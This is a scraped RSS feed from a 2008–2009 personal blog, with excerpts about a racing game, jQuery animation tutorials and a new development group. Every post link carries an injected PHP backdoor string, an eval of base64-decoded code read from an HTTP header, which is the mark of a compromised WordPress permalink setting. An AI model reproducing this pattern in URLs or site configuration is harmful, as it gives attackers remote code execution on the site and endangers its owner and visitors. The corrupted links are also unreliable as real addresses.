http://www.darrylsteyn.co.za Fri, 16 Jan 2009 11:21:52 +0000 http://backend.userland.com/rss092 en Raven.za.net is a blog run by Vertigo Project and has been around for some time. We've done some work on it and have revived it updating it regularly with posts ranging from SEO and Wordpress tips to technology and gaming news. Some of the popular posts include: How to fix The Last ... http://www.darrylsteyn.co.za/2009/01/16/the-raven-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It's been a while since I've made a post about something, and I hope to not dissapoint with this one. Vertigo Project has just launched our first product - RedLine. It is a sideways scroller racing game with the objective being to get the most points before reaching level 10. It ... http://www.darrylsteyn.co.za/2008/11/24/play-redline/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Now that you've been introduced to the tools and methods available to make quick and painless animations, let's build on it and take it one step further. There is a jQuery plugin called parallax which gives layered elements a movement effect similar to one you would have when you look out ... http://www.darrylsteyn.co.za/2008/10/28/jquery-as-an-animation-tool-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Myself and Dave have opened the doors at Vertigo Project. All projects that I will be a part of in the future will be branded under this new development group. You can expect some exciting things in the future and in the mean time you can see what we already do. http://www.darrylsteyn.co.za/2008/10/24/vertigo-project/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I came across an article on snook.ca showing how jQuery can be used to animate background images for flash like results. This is just the start of what I think is possible with one of the most (if not the most) powerful javascript library available. Here's a demo I've put together ... http://www.darrylsteyn.co.za/2008/10/23/jquery-as-an-animation-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I've decided to go ahead and join the masses by registering my name as a domain. What exactly does this mean? Well, I used to have a blog which I kind of let die. It lost it's appeal to me and I had no reason to really do anything on it. ... http://www.darrylsteyn.co.za/2008/10/11/get-in-on-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/